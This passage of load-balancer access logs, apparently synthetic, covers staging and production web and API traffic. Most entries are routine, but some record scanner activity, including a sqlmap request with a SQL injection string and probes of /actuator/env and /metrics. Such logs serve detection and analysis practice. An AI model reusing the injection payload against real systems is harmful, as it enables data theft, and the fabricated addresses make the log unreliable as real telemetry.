"forward" "-" "-" "10.0.34.59:443" "200" "-" "-" +https 2024-11-01T00:22:38.502544Z staging-alb 162.249.241.97:32099 71.255.233.176:80 0.100910 0.543133 0.062149 200 200 434 1596 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcde-6ad74e4abd7e453794ab0eb2" "staging-alb.example.com" "-" 9 2024-11-01T00:22:38.502544Z "forward" "-" "-" "71.255.233.176:80" "200" "-" "-" +https 2024-11-01T00:22:39.833292Z prod-api-alb 8.94.220.68:52358 10.0.2.73:443 0.018436 0.332610 0.046087 200 200 683 5177 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcdf-fe3fad1d7bee479fa3c6b801" "prod-api-alb.example.com" "-" 9 2024-11-01T00:22:39.833292Z "forward" "-" "-" "10.0.2.73:443" "200" "-" "-" +https 2024-11-01T00:22:41.222519Z prod-web-alb 112.208.143.128:16373 10.0.155.197:443 0.001026 0.091929 0.072787 200 200 577 10096 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce1-43ea824eaa0e433b8a7ff284" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:41.222519Z "forward" "-" "-" "10.0.155.197:443" "200" "-" "-" +https 2024-11-01T00:22:42.527478Z prod-web-alb 163.23.138.149:53474 10.0.106.69:443 0.071243 0.268987 0.075891 302 302 409 1223 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce2-5bc39d43ba6049a38f1cd3dd" "prod-web-alb.example.com" "-" 8 2024-11-01T00:22:42.527478Z "forward" "-" "-" "10.0.106.69:443" "302" "-" "-" +https 2024-11-01T00:22:43.990024Z prod-web-alb 92.118.189.213:25912 10.0.8.51:443 0.078736 0.183982 0.048010 200 200 272 12579 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce3-d57dcc63d69e44dfb9f8cf4c" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:43.990024Z "forward" "-" "-" "10.0.8.51:443" "200" "-" "-" +http 2024-11-01T00:22:44.095663Z staging-alb 45.155.205.9:27720 92.0.95.150:8080 0.075659 0.281660 0.123473 404 404 456 14297 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bce4-f679037349e346a09e591976" "-" "-" 9 2024-11-01T00:22:44.095663Z "forward" "-" "-" "92.0.95.150:8080" "404" "-" "-" +https 2024-11-01T00:22:44.290407Z staging-alb 236.222.32.179:49259 224.45.3.25:8080 0.037853 0.580246 0.040196 200 200 73 4868 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bce4-addc9d26b2834c6e859f8d7e" "staging-alb.example.com" "-" 2 2024-11-01T00:22:44.290407Z "forward" "-" "-" "224.45.3.25:8080" "200" "-" "-" +https 2024-11-01T00:22:46.012052Z prod-web-alb 15.111.167.104:15414 10.0.3.214:443 0.038858 0.193146 0.046525 200 200 681 6474 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bce6-45d135ccc0f74b9b849b7af7" "prod-web-alb.example.com" "-" 2 2024-11-01T00:22:46.012052Z "forward" "-" "-" "10.0.3.214:443" "200" "-" "-" +https 2024-11-01T00:22:47.976378Z prod-web-alb 194.237.75.176:45285 10.0.38.197:443 0.014040 0.426119 0.025173 200 200 977 4178 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce7-21a9b25d800142d8b7274d79" "prod-web-alb.example.com" "-" 8 2024-11-01T00:22:47.976378Z "forward" "-" "-" "10.0.38.197:443" "200" "-" "-" +http 2024-11-01T00:22:49.150198Z staging-alb 31.180.98.211:31413 178.176.200.231:80 0.056302 0.553221 0.032389 200 200 432 5274 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bce9-b8d49acc47ee4b71a7c42950" "staging-alb.example.com" "-" 9 2024-11-01T00:22:49.150198Z "forward" "-" "-" "178.176.200.231:80" "200" "-" "-" +https 2024-11-01T00:22:51.128017Z staging-alb 90.144.252.58:15362 69.24.4.110:443 0.069237 0.440165 0.104145 200 200 473 747 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bceb-4543a5497c6147469ec378a0" "staging-alb.example.com" "-" 6 2024-11-01T00:22:51.128017Z "forward" "-" "-" "69.24.4.110:443" "200" "-" "-" +https 2024-11-01T00:22:51.715639Z prod-api-alb 245.195.236.5:34494 10.0.142.199:443 0.059397 0.209351 0.030856 404 404 507 6376 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bceb-e68afd9755ed469da4a8fb61" "prod-api-alb.example.com" "-" 2 2024-11-01T00:22:51.715639Z "forward" "-" "-" "10.0.142.199:443" "404" "-" "-" +https 2024-11-01T00:22:52.970261Z prod-web-alb 42.29.234.216:18757 10.0.228.102:443 0.022359 0.149031 0.083513 200 200 964 13737 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcec-f7fb30acaebf43cb899d8f58" "prod-web-alb.example.com" "-" 8 2024-11-01T00:22:52.970261Z "forward" "-" "-" "10.0.228.102:443" "200" "-" "-" +https 2024-11-01T00:22:53.100198Z staging-alb 133.132.251.135:54540 136.197.44.176:8080 0.014068 0.703672 0.055641 200 200 996 6556 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bced-bf8ca764eff542b08f2f5e73" "staging-alb.example.com" "-" 1 2024-11-01T00:22:53.100198Z "forward" "-" "-" "136.197.44.176:8080" "200" "-" "-" +http 2024-11-01T00:22:53.887530Z staging-alb 250.214.111.15:46354 236.168.93.192:80 0.133307 0.096835 0.005934 404 404 299 11842 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bced-91c1f4249e6243be9f5e26b3" "staging-alb.example.com" "-" 8 2024-11-01T00:22:53.887530Z "forward" "-" "-" "236.168.93.192:80" "404" "-" "-" +https 2024-11-01T00:22:55.504378Z prod-api-alb 109.47.5.216:23446 10.0.214.5:443 0.091013 0.238478 0.074051 200 200 723 6923 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcef-2db562c3b7b94b68ba481a37" "prod-api-alb.example.com" "-" 1 2024-11-01T00:22:55.504378Z "forward" "-" "-" "10.0.214.5:443" "200" "-" "-" +http 2024-11-01T00:22:56.914067Z staging-alb 241.142.166.111:24734 238.157.81.8:80 0.021974 0.109066 0.140619 301 301 889 12937 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcf0-8178e329eaa34c11a02d47fd" "staging-alb.example.com" "-" 1 2024-11-01T00:22:56.914067Z "forward" "-" "-" "238.157.81.8:80" "301" "-" "-" +https 2024-11-01T00:22:57.976368Z prod-web-alb 1.168.97.233:19567 10.0.181.202:443 0.073827 0.455133 0.028979 301 301 115 4488 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcf1-6b909797888a4fd998736b3e" "prod-web-alb.example.com" "-" 10 2024-11-01T00:22:57.976368Z "forward" "-" "-" "10.0.181.202:443" "301" "-" "-" +https 2024-11-01T00:22:58.430778Z prod-api-alb 4.89.213.243:21898 10.0.210.88:443 0.084152 0.331091 0.017962 200 200 518 13204 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcf2-2bdf68195a71452f99cb752a" "prod-api-alb.example.com" "-" 2 2024-11-01T00:22:58.430778Z "forward" "-" "-" "10.0.210.88:443" "200" "-" "-" +https 2024-11-01T00:22:59.092707Z prod-web-alb 193.27.228.38:42832 10.0.228.243:443 0.079085 0.417237 0.052766 200 200 53 441 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcf3-018969b40cc04dd4a0037db8" "-" "-" 6 2024-11-01T00:22:59.092707Z "forward" "-" "-" "10.0.228.243:443" "200" "-" "-" +http 2024-11-01T00:23:00.496574Z staging-alb 215.4.178.93:35594 37.141.249.202:80 0.060400 0.443410 0.049624 301 301 854 4373 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcf4-ebeb92204f4b4d7d835f8e31" "staging-alb.example.com" "-" 2 2024-11-01T00:23:00.496574Z "forward" "-" "-" "37.141.249.202:80" "301" "-" "-" +https 2024-11-01T00:23:02.333541Z prod-web-alb 108.106.185.117:26719 10.0.88.114:443 0.009942 0.381712 0.045133 200 200 991 8535 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcf6-b7d6163bad3b44fe9b6b35f5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:23:02.333541Z "forward" "-" "-" "10.0.88.114:443" "200" "-" "-" +https 2024-11-01T00:23:03.754150Z prod-api-alb 120.254.226.33:25631 10.0.39.31:443 0.032150 0.258135 0.032210 200 200 7 8011 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcf7-765574a81e2149b6a9420ddb" "prod-api-alb.example.com" "-" 9 2024-11-01T00:23:03.754150Z "forward" "-" "-" "10.0.39.31:443" "200" "-" "-" +http 2024-11-01T00:23:05.492171Z staging-alb 110.157.152.61:47483 3.52.210.23:443 0.047922 0.451006 0.029293 404 404 708 11942 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcf9-0970b5ecd7144e8b8f1ba4cc" "staging-alb.example.com" "-" 1 2024-11-01T00:23:05.492171Z "forward" "-" "-" "3.52.210.23:443" "404" "-" "-" +https 2024-11-01T00:23:05.667867Z staging-alb 207.23.141.223:45188 97.179.84.197:8080 0.111934 0.725037 0.061126 200 200 214 12113 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcf9-e14cf9807e314d1dade77d74" "staging-alb.example.com" "-" 5 2024-11-01T00:23:05.667867Z "forward" "-" "-" "97.179.84.197:8080" "200" "-" "-" +http 2024-11-01T00:23:07.651661Z staging-alb 203.143.11.151:58856 192.145.5.85:80 0.047390 0.197724 0.096924 200 200 973 13288 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcfb-d4e4c0db9d634c7db817b502" "staging-alb.example.com" "-" 0 2024-11-01T00:23:07.651661Z "forward" "-" "-" "192.145.5.85:80" "200" "-" "-" +https 2024-11-01T00:23:09.144575Z prod-web-alb 255.63.76.129:60497 10.0.83.116:443 0.035497 0.201988 0.041273 301 301 190 11054 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcfd-053a5425ddf34a15b8652a7f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:23:09.144575Z "forward" "-" "-" "10.0.83.116:443" "301" "-" "-" +https 2024-11-01T00:23:10.965467Z staging-alb 193.27.228.118:29500 191.93.242.89:443 0.092586 0.384881 0.094676 403 403 478 11979 "POST /metrics HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcfe-2a50364bf1214cb686469ae7" "-" "-" 4 2024-11-01T00:23:10.965467Z "forward" "-" "-" "191.93.242.89:443" "403" "-" "-" +https 2024-11-01T00:23:12.264713Z prod-api-alb 242.57.123.233:26991 10.0.77.27:443 0.099572 0.449826 0.004265 200 200 459 6716 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd00-a1a304b764d54a2d86aaba0c" "prod-api-alb.example.com" "-" 9 2024-11-01T00:23:12.264713Z "forward" "-" "-" "10.0.77.27:443" "200" "-" "-" +https 2024-11-01T00:23:14.142918Z prod-web-alb 42.62.226.215:12169 10.0.68.4:443 0.010487 0.370861 0.093553 302 302 38 8667 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd02-e3ed672c9a414575a48ce059" "prod-web-alb.example.com" "-" 1 2024-11-01T00:23:14.142918Z "forward" "-" "-" "10.0.68.4:443" "302" "-" "-" +https 2024-11-01T00:23:15.767215Z prod-api-alb 108.7.212.173:12471 10.0.35.202:443 0.073739 0.455290 0.043015 200 200 726 3280 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd03-b1ee05430d80487a912a3642" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:15.767215Z "forward" "-" "-" "10.0.35.202:443" "200" "-" "-" +https 2024-11-01T00:23:16.678978Z staging-alb 123.64.144.13:35538 27.110.23.179:443 0.050396 0.610834 0.052282 301 301 393 9252 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd04-ff167c9f436e47749403b5c9" "staging-alb.example.com" "-" 2 2024-11-01T00:23:16.678978Z "forward" "-" "-" "27.110.23.179:443" "301" "-" "-" +https 2024-11-01T00:23:17.790216Z prod-api-alb 222.101.194.131:28499 10.0.205.50:443 0.005470 0.492018 0.012411 302 302 616 10477 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd05-bd63c396229c41d5b58fe2bb" "prod-api-alb.example.com" "-" 4 2024-11-01T00:23:17.790216Z "forward" "-" "-" "10.0.205.50:443" "302" "-" "-" +https 2024-11-01T00:23:18.381002Z prod-api-alb 191.38.57.252:39199 10.0.85.144:443 0.064886 0.429153 0.039790 200 200 250 14441 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd06-f7ab6231f0c94014a2813a7f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:23:18.381002Z "forward" "-" "-" "10.0.85.144:443" "200" "-" "-" +https 2024-11-01T00:23:19.177183Z prod-web-alb 135.81.186.14:53565 10.0.30.173:443 0.004289 0.343124 0.041940 404 404 139 9609 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd07-6ba21dad879840de87189c57" "prod-web-alb.example.com" "-" 5 2024-11-01T00:23:19.177183Z "forward" "-" "-" "10.0.30.173:443" "404" "-" "-" +https 2024-11-01T00:23:21.172741Z prod-api-alb 146.89.129.203:25383 10.0.231.124:443 0.091221 0.095848 0.033530 301 301 535 8143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd09-8777281a86cf44ecb9668685" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:21.172741Z "forward" "-" "-" "10.0.231.124:443" "301" "-" "-" +https 2024-11-01T00:23:21.413818Z prod-web-alb 174.159.187.154:11864 10.0.113.52:443 0.022428 0.142295 0.016623 200 200 923 7962 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd09-c6078b1e995945bebba24239" "prod-web-alb.example.com" "-" 1 2024-11-01T00:23:21.413818Z "forward" "-" "-" "10.0.113.52:443" "200" "-" "-" +http 2024-11-01T00:23:22.008359Z staging-alb 102.44.146.93:57452 8.230.145.165:8080 0.026237 0.525776 0.108009 200 200 117 7873 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd0a-d12de0312cf54cce824a4d88" "staging-alb.example.com" "-" 1 2024-11-01T00:23:22.008359Z "forward" "-" "-" "8.230.145.165:8080" "200" "-" "-" +https 2024-11-01T00:23:23.583547Z prod-api-alb 129.1.132.128:14840 10.0.75.29:443 0.065860 0.396481 0.008165 200 200 260 13370 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd0b-4aa9a0fd90fd438da20b1c50" "prod-api-alb.example.com" "-" 1 2024-11-01T00:23:23.583547Z "forward" "-" "-" "10.0.75.29:443" "200" "-" "-" +https 2024-11-01T00:23:24.622722Z prod-web-alb 84.89.32.176:63307 10.0.191.137:443 0.077173 0.174108 0.058955 200 200 633 4755 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd0c-4d08916471294451888a24fd" "prod-web-alb.example.com" "-" 5 2024-11-01T00:23:24.622722Z "forward" "-" "-" "10.0.191.137:443" "200" "-" "-" +https 2024-11-01T00:23:25.066523Z staging-alb 55.137.108.186:35769 14.157.14.111:80 0.066880 0.009486 0.053429 200 200 683 826 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd0d-9bca84095ca94553afdf603e" "staging-alb.example.com" "-" 5 2024-11-01T00:23:25.066523Z "forward" "-" "-" "14.157.14.111:80" "200" "-" "-" +https 2024-11-01T00:23:25.868019Z prod-api-alb 154.9.196.176:17355 10.0.96.101:443 0.061224 0.177484 0.067997 200 200 151 12367 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd0d-b904f6ca53a3484a9a485496" "prod-api-alb.example.com" "-" 10 2024-11-01T00:23:25.868019Z "forward" "-" "-" "10.0.96.101:443" "200" "-" "-" +https 2024-11-01T00:23:26.748388Z staging-alb 245.53.35.19:28511 30.154.221.36:443 0.134246 0.017625 0.052853 200 200 319 11673 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd0e-844aa31dc8914189b6d7cce1" "-" "-" 10 2024-11-01T00:23:26.748388Z "forward" "-" "-" "30.154.221.36:443" "200" "-" "-" +https 2024-11-01T00:23:27.937701Z staging-alb 109.176.3.241:15434 46.158.143.204:443 0.073447 0.399488 0.103077 200 200 161 7925 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd0f-51c9f1a3b2864e91825da9be" "staging-alb.example.com" "-" 3 2024-11-01T00:23:27.937701Z "forward" "-" "-" "46.158.143.204:443" "200" "-" "-" +https 2024-11-01T00:23:28.252395Z prod-api-alb 23.131.122.199:62547 10.0.80.5:443 0.038550 0.216139 0.037382 200 200 467 8756 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd10-28d76c7a3b334b978c6fcf30" "prod-api-alb.example.com" "-" 5 2024-11-01T00:23:28.252395Z "forward" "-" "-" "10.0.80.5:443" "200" "-" "-" +https 2024-11-01T00:23:30.197249Z prod-api-alb 204.25.194.195:26355 10.0.127.254:443 0.075024 0.470237 0.069333 200 200 475 5994 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd12-b4885c687ce94d85a0a1c027" "prod-api-alb.example.com" "-" 1 2024-11-01T00:23:30.197249Z "forward" "-" "-" "10.0.127.254:443" "200" "-" "-" +https 2024-11-01T00:23:32.086208Z prod-api-alb 36.176.63.109:55950 10.0.11.6:443 0.050002 0.077255 0.053570 200 200 330 11210 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd14-b5b0d4a5a3c8456fb5d3f530" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:32.086208Z "forward" "-" "-" "10.0.11.6:443" "200" "-" "-" +http 2024-11-01T00:23:33.236648Z staging-alb 193.202.130.78:49725 250.220.158.214:443 0.050380 0.300099 0.000956 200 200 259 8433 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd15-8ea6ccc662cc48809db1f72d" "staging-alb.example.com" "-" 2 2024-11-01T00:23:33.236648Z "forward" "-" "-" "250.220.158.214:443" "200" "-" "-" +https 2024-11-01T00:23:33.598321Z prod-api-alb 184.182.188.231:43788 10.0.88.213:443 0.018138 0.489593 0.088285 301 301 880 11367 "GET /api/v1/products 